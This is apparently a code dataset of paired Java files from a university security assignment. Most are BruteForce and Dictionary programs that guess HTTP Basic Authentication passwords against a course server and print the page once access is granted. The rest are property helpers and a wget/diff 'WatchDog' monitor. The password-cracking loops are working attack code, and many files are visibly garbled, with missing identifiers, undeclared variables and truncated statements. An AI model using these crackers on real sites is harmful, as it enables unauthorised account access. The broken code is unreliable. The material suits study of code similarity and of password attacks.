response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage()); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append(line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes ""); System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec""); return sb.toString(); } public static void main (String args[]) { BruteForce myGenerator = new BruteForce(); System.out.println(""Starting seed is : ""+ myGenerator.getSeed() ); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = getPassword(); if (pass.equals(""ZZZ"")) { System.out.println(""\nReached the end of combinations. EXITING.\n""); System.exit(0); } if ((tries % 8) == 0 ) { pass = """" + getNextPassword(); }else { pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8); } tries ++; System.out.println(tries + "" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } public StringBuffer getNextPassword() { final int STRING_RADIX = 36; int changeDigit; int dig; char cdig; changeDigit = 2; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); changeDigit = 1; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); seed.setCharAt(1,'a'); changeDigit = 0; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } } } return getSeed(); } private StringBuffer getNextPasswordCase(String pwd, int inx) { StringBuffer casePwd = new StringBuffer(pwd); char myChar; switch (inx) { case 1: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); break; case 2: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 3: myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 4: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 5: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 6: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 7: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; } return(casePwd); } public StringBuffer getSeed() { return this.seed; } public void setSeed(StringBuffer seed) { this.seed = seed; } } " 235.java," import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class BruteForce { private String userId; private String password; private StringBuffer seed= new StringBuffer(""aaa""); private int tries = 1; public BruteForce() { Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { HttpURLConnection connection; StringBuffer sb = new StringBuffer(); Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage()); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append(line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes ""); System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec""); return sb.toString(); } public static void main (String args[]) { BruteForce myGenerator = new BruteForce(); System.out.println(""Starting seed is : ""+ myGenerator.getSeed() ); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = getPassword(); if (pass.equals(""ZZZ"")) { System.out.println(""\nReached the end of combinations. EXITING.\n""); System.exit(0); } if ((tries % 8) == 0 ) { pass = """" + getNextPassword(); }else { pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8); } tries ++; System.out.println(tries + "" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } public StringBuffer getNextPassword() { final int STRING_RADIX = 36; int changeDigit; int dig; char cdig; changeDigit = 2; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); changeDigit = 1; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); seed.setCharAt(1,'a'); changeDigit = 0; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } } } return getSeed(); } private StringBuffer getNextPasswordCase(String pwd, int inx) { StringBuffer casePwd = new StringBuffer(pwd); char myChar; switch (inx) { case 1: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); break; case 2: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 3: myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 4: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 5: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 6: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 7: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; } return(casePwd); } public StringBuffer getSeed() { return this.seed; } public void setSeed(StringBuffer seed) { this.seed = seed; } } ",237.java," import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage() ); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append (line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.println (""Total time taken (Sec) :"" + (endTime.getTime() - startTime.getTime())/1000); return sb.toString(); } public static void main (String args[]) { Dictionary myGenerator = new Dictionary(); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = myWords.readLine(); System.out.println("" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } } " 113.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties""); testProps.load(fis); } } } ",107.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties""); testProps.load(fis); } } } " 113.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties""); testProps.load(fis); } } } ",108.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class DictionaryPropertyHelper { private static Properties dictProps; public DictionaryPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the dictionary Props""); e.printStackTrace(); } return dictProps.getProperty(pKey); } private static void initProps() throws Exception{ if(dictProps == null){ dictProps = new Properties(); InputStream fis = DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties""); dictProps.load(fis); } } } " 113.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class MailsendPropertyHelper { private static Properties testProps; public MailsendPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the watchddog Props""); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties""); testProps.load(fis); } } } ",112.java," import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class BruteForcePropertyHelper { private static Properties bruteForceProps; public BruteForcePropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println(""Error init'ing the burteforce Props""); e.printStackTrace(); } return bruteForceProps.getProperty(pKey); } private static void initProps() throws Exception{ if(bruteForceProps == null){ bruteForceProps = new Properties(); InputStream fis = BruteForcePropertyHelper.class.getResourceAsStream(""/bruteforce.properties""); bruteForceProps.load(fis); } } } " 201.java," import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String(""sec-crack.cs.rmit.edu.""); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String(""/SEC/2/""); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println(""'t find host""); }catch( IOException e) { System.out.println(""Error connecting host ""+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n""); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println(""'t open stream""); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" ""); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println(""Ok ""+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { System.out.println(""'t open stream""); } try { s.connect(); }catch( IOException e) { System.out.println(""'t connection""); System.exit(0); } } public getTime() { return myTime; } } ",209.java," import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient2 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private BruteForce myMaster; public MyClient2(BruteForce bf , int num, int myPort, String password) { hostname = new String(""sec-crack.cs.rmit.edu.""); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String(""/SEC/2/""); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println(""'t find host""); }catch( IOException e) { System.out.println(""Error connecting host ""+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println(""'t open stream""); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization: ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n""); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println(""'t open stream""); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, "" ""); i = 0; while(sin.hasMoreTokens()) { tokens[i] = sin.nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println(""Ok ""+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.receive(); }catch( IOException e) { System.out.println(""'t open stream""); } try { s.connect(); }catch( IOException e) { System.out.println(""'t connection""); System.exit(0); } } public getTime() { return myTime; } } " 017.java," import javax.swing.*; public class Dictionary { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } ",022.java," import javax.swing.*; public class BruteForce { public static void main( String args[] ) { PasswordCombination pwdCombination; pwdCombination = new PasswordCombination(); } } " 190.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class Dictionary { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public Dictionary() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); findWords(); } public static void main(String args[]) { Dictionary sc = new Dictionary(); } public void findWords() { try { BufferedReader input = new BufferedReader(new FileReader (""words"")); String text; while ((text = input.readLine()) != null) { if ((text.length() == 3) || (text.length() == 2)) { count++; decision(text); } } } catch (IOException io) { System.out.println(""File Error: "" + io.getMessage()); } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } ",188.java," import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class BruteForce { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public BruteForce() { System.out.println(""Process is running...""); startTime = System.currentTimeMillis(); threeLetters(); twoLetters(); } public static void main (String args[]) { BruteForce bf = new BruteForce(); } public void threeLetters() { String s1; char [] a = {'a','a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { for (int i2 = 0; i2 < 26; i2++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; } } } } public void twoLetters() { String s1; char [] a = {'a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); decision(s1); count++; } } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println(""***************************************""); System.out.println(""\nAttack successfully""); System.out.println(""\nPassword is: "" + s1); System.out.println(""\nThe contents of the Web site: ""); displayContent(s1); System.out.println(""\nTime taken crack: "" + runTime + "" millisecond""); System.out.println(""\nNumber of attempts: "" + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } } " 034.java," class LoginAttemptResults { private boolean success = false; private int passwordsTried = 0; public LoginAttemptResults() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPasswordsTried ( int inPasswordsTried) { passwordsTried = inPasswordsTried; } public int getPasswordsTried() { return passwordsTried; } } ",033.java," class WebPage { private boolean success = false; private String pageContents= """"; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } } " 044.java,"import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }",042.java,"import java.net.*; import java.io.*; public class BruteForce { private String strUserName; private String strURL; private int iAttempts; public BruteForce(String strURL,String strUserName) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; } public String getPassword(){ URL u; String result =""""; PassGenBrute PG = new PassGenBrute(3); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + "":"" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty(""Authorization"","" "" + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println(""MalformedURLException: ""+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main (String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 2) { BruteForce BF = new BruteForce(arg[0],arg[1]); System.out.println(""Processing ... ""); timeStart = System.currentTimeMillis(); System.out.println(""Password = "" + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); System.out.println(""Total Attempts = "" + BF.getAttempts()); } else { System.out.println(""[Usage] java BruteForce ""); } } } class PassGenBrute { private char[] password; public PassGenBrute(int lenght) { password = new char[lenght]; for (int i = 0; i < lenght; i++){ password[i] = 65; } password[0]--; } public String getNewPassword() throws PasswordFailureException{ password[0]++; try { for (int i=0; i 122) { password[i] = 65; password[i+1]++; } } } catch (RuntimeException re){ throw new PasswordFailureException (); } return new String(password); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }" 218.java," import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { Process p1,p2,p3,p4,p5; for(;;) { String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \"" < change.html""}; String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""}; String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""}; String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""}; String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""}; String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""}; Process p = Runtime.getRuntime().exec(""mkdir predir""); p.waitFor(); Process p1 = Runtime.getRuntime().exec(""mkdir postdir""); p1.waitFor(); p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p1.waitFor(); Process q2 = Runtime.getRuntime().exec(s2); q2.waitFor(); Process q3 = Runtime.getRuntime().exec(s3); q2.waitFor(); Thread.sleep(86400000); p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/""); p3.waitFor(); Process q4 = Runtime.getRuntime().exec(s4); q4.waitFor(); Process q5 = Runtime.getRuntime().exec(s5); q5.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s6); DataInputStream inp1 = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println(""The WatchDog - Returns 0 if change else 1""); System.out.println(""Value :"" + p4.exitValue()); try { while ((str = inp1.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e ) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader(""change.html"")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream inp2 = new DataInputStream(p5.getInputStream()); p5.waitFor(); try { while ((str1 = inp2.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException exp) { exp.printStackTrace(); } } } } } ",195.java," import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > 